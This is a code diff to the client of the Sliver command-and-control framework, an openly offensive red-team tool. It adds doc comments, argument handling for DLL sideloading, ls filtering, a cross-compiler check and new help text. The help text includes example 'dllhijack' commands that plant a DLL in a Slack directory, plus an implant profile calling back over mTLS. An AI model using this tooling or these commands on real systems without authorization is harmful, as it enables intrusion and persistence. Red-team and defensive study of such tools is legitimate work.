 	entryPoint := ctx.Flags.String("entry-point")
 	processName := ctx.Flags.String("process")
-	args := ctx.Flags.String("args")
+	args := strings.Join(ctx.Args.StringList("args"), " ")
 
 	binData, err := ioutil.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
 	}
+	isDLL := (filepath.Ext(binPath) == ".dll")
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
 	sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
@@ -53,6 +57,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		EntryPoint:  entryPoint,
 		ProcessName: processName,
 		Kill:        !ctx.Flags.Bool("keep-alive"),
+		IsDLL:       isDLL,
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/spawndll.go

@@ -13,6 +13,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// SpawnDllCmd - Spawn execution of a DLL on the remote system
 func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.Get()
 	if session == nil {

client/command/exec/ssh.go

@@ -13,6 +13,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
 func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var (
 		privKey []byte

client/command/extensions/README.md

@@ -0,0 +1,4 @@
+Extensions
+===========
+
+Wraps external DLLs/tool in Sliver console commands.

client/command/extensions/load.go

@@ -121,6 +121,7 @@ func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, e
 	return
 }
 
+// LoadExtensionCmd - Locally load an extension into the Sliver shell.
 func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	dirPath := ctx.Args.String("dir-path")
@@ -156,17 +157,10 @@ func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		// either by value or by ref fucks things up
 		commandMap[extCmd.Name] = *ext
 		helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
-		extArgs := func(a *grumble.Args) {}
-		if extCmd.AllowArgs {
-			extArgs = func(a *grumble.Args) {
-				a.StringList("arguments", "arguments", grumble.Default([]string{}))
-			}
-		}
-		ctx.App.AddCommand(&grumble.Command{
+		extensionCmd := &grumble.Command{
 			Name:     extCmd.Name,
 			Help:     helpMsg,
 			LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
-			Args:     extArgs,
 			Run: func(extCtx *grumble.Context) error {
 				con.Println()
 				runExtensionCommand(extCtx, con)
@@ -184,8 +178,12 @@ func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				f.Bool("s", "save", false, "Save output to disk")
 				f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			},
+			Args: func(a *grumble.Args) {
+				a.StringList("arguments", "arguments", grumble.Default([]string{}))
+			},
 			HelpGroup: consts.ExtensionHelpGroup,
-		})
+		}
+		con.App.AddCommand(extensionCmd)
 	}
 	con.PrintInfof("%s extension has been loaded\n", ext.Name)
 }
@@ -213,14 +211,13 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
 		return
 	}
 
-	var args string
-	if len(c.DefaultArgs) != 0 {
-		args = c.DefaultArgs
+	args := ctx.Args.StringList("arguments")
+	var extArgs string
+	if len(c.DefaultArgs) != 0 && len(args) == 0 {
+		extArgs = c.DefaultArgs
+	} else {
+		extArgs = strings.Join(args, " ")
 	}
-	if len(ctx.Args.StringList("arguments")) > 0 {
-		args = strings.Join(ctx.Args.StringList("arguments"), " ")
-	}
-
 	entryPoint := c.Entrypoint
 	processName := ctx.Flags.String("process")
 	if processName == "" {
@@ -250,13 +247,13 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
 	}
 	if c.IsAssembly {
 		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
 		con.SpinUntil(msg, ctrl)
 		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
 			Request:   con.ActiveSession.Request(ctx),
 			IsDLL:     isDLL,
 			Process:   processName,
-			Arguments: args,
+			Arguments: extArgs,
 			Assembly:  binData,
 			Arch:      ctx.Flags.String("arch"),
 			Method:    ctx.Flags.String("method"),
@@ -276,11 +273,11 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
 		}
 	} else if c.IsReflective {
 		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
 		con.SpinUntil(msg, ctrl)
 		spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
 			Request:     con.ActiveSession.Request(ctx),
-			Args:        strings.Trim(args, " "),
+			Args:        strings.Trim(extArgs, " "),
 			Data:        binData,
 			ProcessName: processName,
 			EntryPoint:  c.Entrypoint,
@@ -301,15 +298,16 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
 		}
 	} else {
 		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
 		con.SpinUntil(msg, ctrl)
 		sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
 			Request:     con.ActiveSession.Request(ctx),
-			Args:        args,
+			Args:        extArgs,
 			Data:        binData,
 			EntryPoint:  entryPoint,
 			ProcessName: processName,
 			Kill:        true,
+			IsDLL:       isDLL,
 		})
 		ctrl <- true
 		<-ctrl

client/command/filesystem/cat.go

@@ -20,6 +20,7 @@ package filesystem
 
 import (
 	"context"
+	"encoding/hex"
 	"fmt"
 	"os"
 
@@ -33,6 +34,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// CatCmd - Display the contents of a remote file
 func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {
@@ -65,7 +67,11 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.Println(string(download.Data))
 		}
 	} else {
-		con.Println(string(download.Data))
+		if ctx.Flags.Bool("hex") {
+			con.Println(hex.Dump(download.Data))
+		} else {
+			con.Println(string(download.Data))
+		}
 	}
 	// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
 	// 	err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)

client/command/filesystem/cd.go

@@ -27,6 +27,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// CdCmd - Change directory on the remote system
 func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/filesystem/download.go

@@ -25,14 +25,15 @@ import (
 	"path"
 	"path/filepath"
 
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
-	"gopkg.in/AlecAivazis/survey.v1"
 
 	"github.com/desertbit/grumble"
 )
 
+// DownloadCmd - Download a file from the remote system
 func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/filesystem/ls.go

@@ -19,11 +19,14 @@ package filesystem
 */
 
 import (
+	"bytes"
 	"context"
 	"fmt"
-	"io"
+	"path/filepath"
+	"sort"
 	"strings"
 	"text/tabwriter"
+	"time"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -32,6 +35,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// LsCmd - List the contents of a remote directory
 func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {
@@ -39,6 +43,45 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	remotePath := ctx.Args.String("path")
+	filter := ""
+
+	/*
+		Check to see if the remote path is a filter or contains a filter.
+		If the path passes the test to be a filter, then it is a filter
+		because paths are not valid filters.
+	*/
+	if remotePath != "." {
+
+		// Check if the path contains a filter
+		// Test on a standardized version of the path (change any \ to /)
+		testPath := strings.Replace(remotePath, "\\", "/", -1)
+		/*
+			Cannot use the path or filepath libraries because the OS
+			of the client does not necessarily match the OS of the
+			implant
+		*/
+		lastSeparatorOccurence := strings.LastIndex(testPath, "/")
+
+		if lastSeparatorOccurence == -1 {
+			// Then this is only a filter
+			filter = remotePath
+			remotePath = "."
+		} else {
+			// Then we need to test for a filter on the end of the string
+
+			// The indicies should be the same because we did not change the length of the string
+			baseDir := remotePath[:lastSeparatorOccurence]
+			potentialFilter := remotePath[lastSeparatorOccurence+1:]
+
+			_, err := filepath.Match(potentialFilter, "")
+
+			if err == nil {
+				// Then we have a filter on the end of the path
+				remotePath = baseDir
+				filter = potentialFilter
+			}
+		}
+	}
 
 	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
 		Request: con.ActiveSession.Request(ctx),
@@ -47,21 +90,94 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if err != nil {
 		con.PrintWarnf("%s\n", err)
 	} else {
-		PrintLs(con.App.Stdout(), ls)
+		PrintLs(ls, con, ctx.Flags, filter)
 	}
 }
 
-func PrintLs(stdout io.Writer, ls *sliverpb.Ls) {
-	fmt.Fprintf(stdout, "%s\n", ls.Path)
-	fmt.Fprintf(stdout, "%s\n", strings.Repeat("=", len(ls.Path)))
+// PrintLs - Display an sliverpb.Ls object
+func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.FlagMap, filter string) {
+	con.Printf("%s\n", ls.Path)
+	con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
 
-	table := tabwriter.NewWriter(stdout, 0, 2, 2, ' ', 0)
-	for _, fileInfo := range ls.Files {
-		if fileInfo.IsDir {
-			fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	// Extract the flags
+	reverseSort := flags.Bool("reverse")
+	sortByTime := flags.Bool("modified")
+	sortBySize := flags.Bool("size")
+
+	/*
+		By default, name sorting is case sensitive.  Upper case entries come before
+		lower case ones.  Instead, we will level the playing field and sort
+		regardless of case
+	*/
+	if reverseSort {
+		sort.SliceStable(ls.Files, func(i, j int) bool {
+			return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
+		})
+	} else {
+		sort.SliceStable(ls.Files, func(i, j int) bool {
+			return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
+		})
+	}
+
+	/*
+		After names are sorted properly, take care of the modified time if the
+		user wants to sort by time.  Doing this after sorting by name
+		will make the time sorted entries properly sorted by name if times are equal.
+	*/
+
+	if sortByTime {
+		if reverseSort {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].ModTime > ls.Files[j].ModTime
+			})
 		} else {
-			fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].ModTime < ls.Files[j].ModTime
+			})
+		}
+	} else if sortBySize {
+		if reverseSort {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].Size > ls.Files[j].Size
+			})
+		} else {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].Size < ls.Files[j].Size
+			})
+		}
+	}
+
+	for _, fileInfo := range ls.Files {
+		if filter != "" {
+			fileMatch, err := filepath.Match(filter, fileInfo.Name)
+
+			if err != nil {
+				/*
+					This should not happen because we checked the filter
+					before reaching out to the implant.
+				*/
+				con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
+				break
+			}
+
+			if !fileMatch {
+				continue
+			}
+		}
+
+		modTime := time.Unix(fileInfo.ModTime, 0)
+		implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
+		modTime = modTime.In(implantLocation)
+
+		if fileInfo.IsDir {
+			fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
+		} else {
+			fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
 		}
 	}
 	table.Flush()
+	con.Printf("%s\n", outputBuf.String())
 }

client/command/filesystem/mkdir.go

@@ -27,6 +27,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// MkdirCmd - Make a remote directory
 func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/filesystem/pwd.go

@@ -27,6 +27,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// PwdCmd - Print the remote working directory
 func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/filesystem/rm.go

@@ -27,6 +27,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// RmCmd - Remove a directory from the remote file system
 func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/filesystem/upload.go

@@ -32,6 +32,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// UploadCmd - Upload a file to the remote system
 func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/generate/canaries.go

@@ -13,6 +13,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// CanariesCmd - Display canaries from the database and their status
 func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	canaries, err := con.Rpc.Canaries(context.Background(), &commonpb.Empty{})
 	if err != nil {

client/command/generate/generate-info.go

@@ -8,6 +8,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// GenerateInfoCmd - Display information about the Sliver server's compiler configuration
 func GenerateInfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
 	if err != nil {

client/command/generate/generate-stager.go

@@ -16,6 +16,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// GenerateStagerCmd - Generate a stager using Metasploit
 func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var stageProto clientpb.StageProtocol
 	lhost := ctx.Flags.String("lhost")

client/command/generate/generate.go

@@ -30,6 +30,7 @@ import (
 	"path"
 	"path/filepath"
 	"regexp"
+	"runtime"
 	"strings"
 
 	"time"
@@ -42,20 +43,35 @@ import (
 )
 
 const (
-	DefaultMTLSLPort    = 8888
-	DefaultWGLPort      = 53
-	DefaultWGNPort      = 8888
-	DefaultWGKeyExPort  = 1337
-	DefaultHTTPLPort    = 80
-	DefaultHTTPSLPort   = 443
-	DefaultDNSLPort     = 53
+	// DefaultMTLSLPort is the default port for mtls
+	DefaultMTLSLPort = 8888
+	// DefaultWGPort is the default port for wg
+	DefaultWGLPort = 53
+	// DefaultWGNPort is the default n port for wg
+	DefaultWGNPort = 8888
+	// DefaultWGKeyExPort is the default port for wg key exchange
+	DefaultWGKeyExPort = 1337
+	// DefaultHTTPLPort is the default port for http
+	DefaultHTTPLPort = 80
+	// DefaultHTTPSLPort is the default port for https
+	DefaultHTTPSLPort = 443
+	// DefaultDNSLPortis the default port for dns
+	DefaultDNSLPort = 53
+	// DefaultTCPPivotPort is the default port for tcp pivots
 	DefaultTCPPivotPort = 9898
 
+	// DefaultReconnect is the default reconnect time
 	DefaultReconnect = 60
-	DefaultPoll      = 1
+	// DefaultPoll is the default poll interval
+	DefaultPoll = 1
+	// DefaultMaxErrors is the default max reconnection errors before giving up
 	DefaultMaxErrors = 1000
 )
 
+const (
+	crossCompilerInfoURL = "https://github.com/BishopFox/sliver/wiki/Cross-Compiling-Implants"
+)
+
 var (
 	// SupportedCompilerTargets - Supported compiler targets
 	SupportedCompilerTargets = map[string]bool{
@@ -93,6 +109,7 @@ var (
 	// }
 )
 
+// GenerateCmd - The main command used to generate implant binaries
 func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	config := parseCompileFlags(ctx, con)
 	if config == nil {
@@ -251,14 +268,18 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	}
 
 	targetOS := strings.ToLower(ctx.Flags.String("os"))
-	arch := strings.ToLower(ctx.Flags.String("arch"))
-	targetOS, arch = getTargets(targetOS, arch, con)
-	if targetOS == "" || arch == "" {
+	targetArch := strings.ToLower(ctx.Flags.String("arch"))
+	targetOS, targetArch = getTargets(targetOS, targetArch, con)
+	if targetOS == "" || targetArch == "" {
+		return nil
+	}
+	if len(namedPipeC2) > 0 && targetOS != "windows" {
+		con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
 		return nil
 	}
 
-	if len(namedPipeC2) > 0 && targetOS != "windows" {
-		con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
+	// Check to see if we can *probably* build the target binary
+	if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
 		return nil
 	}
 
@@ -275,7 +296,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 
 	config := &clientpb.ImplantConfig{
 		GOOS:             targetOS,
-		GOARCH:           arch,
+		GOARCH:           targetArch,
 		Name:             name,
 		Debug:            ctx.Flags.Bool("debug"),
 		Evasion:          ctx.Flags.Bool("evasion"),
@@ -543,3 +564,62 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
 	}
 	return strings.Join(limits, "; ")
 }
+
+func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
+	if format == clientpb.OutputFormat_EXECUTABLE {
+		return true // We don't need cross-compilers when targeting EXECUTABLE formats
+	}
+
+	compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintWarnf("Failed to check target compatibility: %s\n", err)
+		return true
+	}
+
+	if runtime.GOOS != "windows" && targetOS == "windows" {
+		if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
+			return warnMissingCrossCompiler(format, targetOS, targetArch, con)
+		}
+	}
+
+	if runtime.GOOS != "darwin" && targetOS == "darwin" {
+		if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
+			return warnMissingCrossCompiler(format, targetOS, targetArch, con)
+		}
+	}
+
+	if runtime.GOOS != "linux" && targetOS == "linux" {
+		if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
+			return warnMissingCrossCompiler(format, targetOS, targetArch, con)
+		}
+	}
+
+	return true
+}
+
+func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossCompiler) bool {
+	for _, cc := range crossCompilers {
+		if cc.GetTargetGOOS() == targetOS && cc.GetTargetGOARCH() == targetArch {
+			return true
+		}
+	}
+	return false
+}
+
+func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
+	con.PrintWarnf("WARNING: Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
+	switch targetOS {
+	case "windows":
+		con.PrintWarnf("The server cannot find an installation of mingw")
+	case "darwin":
+		con.PrintWarnf("The server cannot find an installation of osxcross")
+	case "linux":
+		con.PrintWarnf("The server cannot find an installation of musl-cross")
+	}
+	con.PrintWarnf("For more information please read %s\n", crossCompilerInfoURL)
+
+	confirm := false
+	prompt := &survey.Confirm{Message: "Try to compile anyways (will likely fail)?"}
+	survey.AskOne(prompt, &confirm, nil)
+	return confirm
+}

client/command/generate/helpers.go

@@ -8,6 +8,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 )
 
+// GetSliverBinary - Get the binary of an implant based on it's profile
 func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) {
 	var data []byte
 	// get implant builds

client/command/generate/implants-rm.go

@@ -8,6 +8,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// ImplantsRmCmd - Deletes an archived implant build from the server
 func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
 		Name: ctx.Args.String("implant-name"),

client/command/generate/implants.go

@@ -32,6 +32,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// ImplantsCmd - Displays archived implant builds
 func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
 	if err != nil {

client/command/generate/profiles-generate.go

@@ -28,6 +28,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// ProfilesGenerateCmd - Generate an implant binary based on a profile
 func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	name := ctx.Flags.String("name")
 	if name == "" {

client/command/generate/profiles-new.go

@@ -8,6 +8,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// ProfilesNewCmd - Create a new implant profile
 func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	name := ctx.Flags.String("profile-name")
 	if name == "" {

client/command/generate/profiles-rm.go

@@ -8,6 +8,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// ProfilesRmCmd - Delete an implant profile
 func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
 		Name: ctx.Args.String("profile-name"),

client/command/generate/profiles.go

@@ -32,6 +32,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// ProfilesCmd - Display implant profiles
 func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	profiles := getImplantProfiles(con)
 	if profiles == nil {

client/command/generate/regenerate.go

@@ -28,6 +28,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// RegenerateCmd - Download an archived implant build/binary
 func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	save := ctx.Flags.String("save")
 	if save == "" {

client/command/help/help.go

@@ -29,6 +29,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// HelpCmd - Returns an instance of the 'help' command
 func HelpCmd(con *console.SliverConsoleClient) func(a *grumble.App, shell bool) {
 	return func(a *grumble.App, shell bool) {
 		printHelp(con)

client/command/help/long-help.go

@@ -24,12 +24,17 @@ package help
 
 import (
 	"bytes"
+	"fmt"
 	"strings"
 	"text/template"
 
 	consts "github.com/bishopfox/sliver/client/constants"
 )
 
+const (
+	sep = "."
+)
+
 var (
 
 	// NOTE: For sub-commands use a "." hierarchy, for example root.sub for "sub" help
@@ -71,25 +76,31 @@ var (
 		consts.BackdoorStr:         backdoorHelp,
 		consts.SpawnDllStr:         spawnDllHelp,
 
-		consts.WebsitesStr:          websitesHelp,
-		consts.ScreenshotStr:        screenshotHelp,
-		consts.MakeTokenStr:         makeTokenHelp,
-		consts.GetEnvStr:            getEnvHelp,
-		consts.SetEnvStr:            setEnvHelp,
-		consts.RegistryWriteStr:     regWriteHelp,
-		consts.RegistryReadStr:      regReadHelp,
-		consts.RegistryCreateKeyStr: regCreateKeyHelp,
-		consts.PivotsListStr:        pivotListHelp,
-		consts.WgPortFwdStr:         wgPortFwdHelp,
-		consts.WgSocksStr:           wgSocksHelp,
-		consts.SSHStr:               sshHelp,
+		consts.WebsitesStr:                  websitesHelp,
+		consts.ScreenshotStr:                screenshotHelp,
+		consts.MakeTokenStr:                 makeTokenHelp,
+		consts.EnvStr:                       getEnvHelp,
+		consts.EnvStr + sep + consts.SetStr: setEnvHelp,
+		consts.RegistryWriteStr:             regWriteHelp,
+		consts.RegistryReadStr:              regReadHelp,
+		consts.RegistryCreateKeyStr:         regCreateKeyHelp,
+		consts.PivotsListStr:                pivotListHelp,
+		consts.WgPortFwdStr:                 wgPortFwdHelp,
+		consts.WgSocksStr:                   wgSocksHelp,
+		consts.SSHStr:                       sshHelp,
+		consts.DLLHijackStr:                 dllHijackHelp,
 
 		// Loot
 		consts.LootStr: lootHelp,
 
 		// Profiles
-		consts.ProfilesStr + "." + consts.NewStr:      newProfileHelp,
-		consts.ProfilesStr + "." + consts.GenerateStr: generateProfileHelp,
+		consts.ProfilesStr + sep + consts.NewStr:      newProfileHelp,
+		consts.ProfilesStr + sep + consts.GenerateStr: generateProfileHelp,
+
+		// Reactions
+		consts.ReactionStr:                         reactionHelp,
+		consts.ReactionStr + sep + consts.SetStr:   reactionSetHelp,
+		consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
 	}
 
 	jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -224,7 +235,31 @@ c2 message round trip to ensure the remote Sliver is still responding to command
 [[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
 
 	lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
-[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.`
+[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
+
+[[.Bold]][[.Underline]]Sorting[[.Normal]]
+Directory and file listings are sorted by name in ascending order by default.  Listings can also be sorted by size (-s) and modified time (-m).  All sorts can be reversed with -r.
+
+[[.Bold]][[.Underline]]Filters[[.Normal]]
+Filters are a way to limit search results to directory and file names matching given criteria.
+
+Filters are specified after the path.  A blank path will filter on names in the current directory.  For example:
+/etc/passwd will display the listing for /etc/passwd.  "/etc/" is the path, and "passwd" is the filter.
+
+Directory and file listings can be filtered using the following patterns:
+'*': Wildcard, matches any sequence of non-path separators (slashes)
+	Example: n*.txt will match all file and directory names starting with n and ending with .txt
+
+'?': Single character wildcard, matches a single non-path separator (slashes)
+	Example: s?iver will match all file and directory names starting with s followed by any non-separator character and ending with iver.
+
+'[{range}]': Match a range of characters.  Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
+	Example: [a-c] will match the characters a, b, and c.  [a-c]* will match all directory and file names that start with a, b, or c.
+		^[r-u] will match all characters except r, s, t, and u.
+
+If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
+On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
+`
 
 	cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
 [[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
@@ -544,6 +579,82 @@ loot --filter creds
 
 # Display the contents of a piece of loot:
 loot fetch
+`
+
+	reactionHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction
+[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s).
+
+[[.Bold]]Reactable Events:[[.Normal]]
+% 20s  Triggered when a new session is opened to a target
+% 20s  Triggered on changes to session metadata
+% 20s  Triggered when a session is closed (for any reason)
+% 20s  Triggered when a canary is burned or created
+% 20s  Triggered when implants are discovered on threat intel platforms
+% 20s  Triggered when a new piece of loot is added to the server
+% 20s  Triggered when a piece of loot is removed from the server
+`,
+		consts.SessionOpenedEvent,
+		consts.SessionUpdateEvent,
+		consts.SessionClosedEvent,
+		consts.CanaryEvent,
+		consts.WatchtowerEvent,
+		consts.LootAddedEvent,
+		consts.LootRemovedEvent,
+	)
+
+	reactionSetHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction set
+[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
+
+[[.Bold]]Examples:[[.Normal]]
+# The command uses interactive menus to build a reaction. Simply run:
+reaction set
+
+[[.Bold]]Reactable Events:[[.Normal]]
+% 20s  Triggered when a new session is opened to a target
+% 20s  Triggered on changes to session metadata
+% 20s  Triggered when a session is closed (for any reason)
+% 20s  Triggered when a canary is burned or created
+% 20s  Triggered when implants are discovered on threat intel platforms
+% 20s  Triggered when a new piece of loot is added to the server
+% 20s  Triggered when a piece of loot is removed from the server
+	`,
+		consts.SessionOpenedEvent,
+		consts.SessionUpdateEvent,
+		consts.SessionClosedEvent,
+		consts.CanaryEvent,
+		consts.WatchtowerEvent,
+		consts.LootAddedEvent,
+		consts.LootRemovedEvent,
+	)
+
+	reactionUnsetHelp = `[[.Bold]]Command:[[.Normal]] reaction unset
+[[.Bold]]About:[[.Normal]] Unset/remove automated commands in reaction to event(s).
+
+[[.Bold]]Examples:[[.Normal]]
+# Remove a reaction
+reaction unset --id 1
+`
+	dllHijackHelp = `[[.Bold]]Command:[[.Normal]] dllhijack
+[[.Bold]]About:[[.Normal]] Prepare and plant a DLL on the remote system for a hijack scenario.
+The planted DLL will have its export directory modified to forward the exports to a reference DLL
+on the remote system.
+The DLL used for the hijack can either be a file on the operator's system or built from a Sliver profile,
+supplied with the --profile flag.
+
+[[.Bold]]Examples:[[.Normal]]
+# Use a local DLL for a hijack
+dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
+
+# Use a Sliver generated DLL for the hijack
+new-profile --format shared --mtls 1.2.3.4:1234 --profile-name dll
